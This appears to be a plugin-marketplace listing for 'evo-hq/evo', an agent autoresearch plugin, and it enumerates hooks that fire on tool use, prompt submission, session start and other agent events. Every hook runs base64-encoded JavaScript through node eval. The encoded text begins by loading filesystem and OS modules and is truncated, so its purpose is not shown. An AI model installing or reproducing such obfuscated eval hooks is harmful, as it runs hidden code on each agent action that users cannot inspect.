PreToolUse
01Hook
Runs before the agent uses a tool, running node -e "eval(Buffer.from('Y29uc3QgZnM9cmVxdWlyZSgnZnMnKSxvc. From evo-hq/evo.
turns your codebase into an autoresearch loop — discovers what to measure, instruments the benchmark, then runs tree search with parallel subagents.
Hook
Runs before the agent uses a tool, running node -e "eval(Buffer.from('Y29uc3QgZnM9cmVxdWlyZSgnZnMnKSxvc. From evo-hq/evo.
Hook
Runs after a tool call finishes for Bash tool calls, running node -e "eval(Buffer.from('Y29uc3QgZnM9cmVxdWlyZSgnZnMnKSxvc (2 commands). From evo-hq/evo.
Hook
Runs when you submit a prompt, before the agent sees it, running node -e "eval(Buffer.from('Y29uc3QgZnM9cmVxdWlyZSgnZnMnKSxvc. From evo-hq/evo.
Hook
Runs when a session starts, running node -e "eval(Buffer.from('Y29uc3QgZnM9cmVxdWlyZSgnZnMnKSxvc. From evo-hq/evo.
Hook
Runs when the agent finishes a response, running node -e "eval(Buffer.from('Y29uc3QgZnM9cmVxdWlyZSgnZnMnKSxvc. From evo-hq/evo.
Hook
Runs when a subagent finishes, running node -e "eval(Buffer.from('Y29uc3QgZnM9cmVxdWlyZSgnZnMnKSxvc. From evo-hq/evo.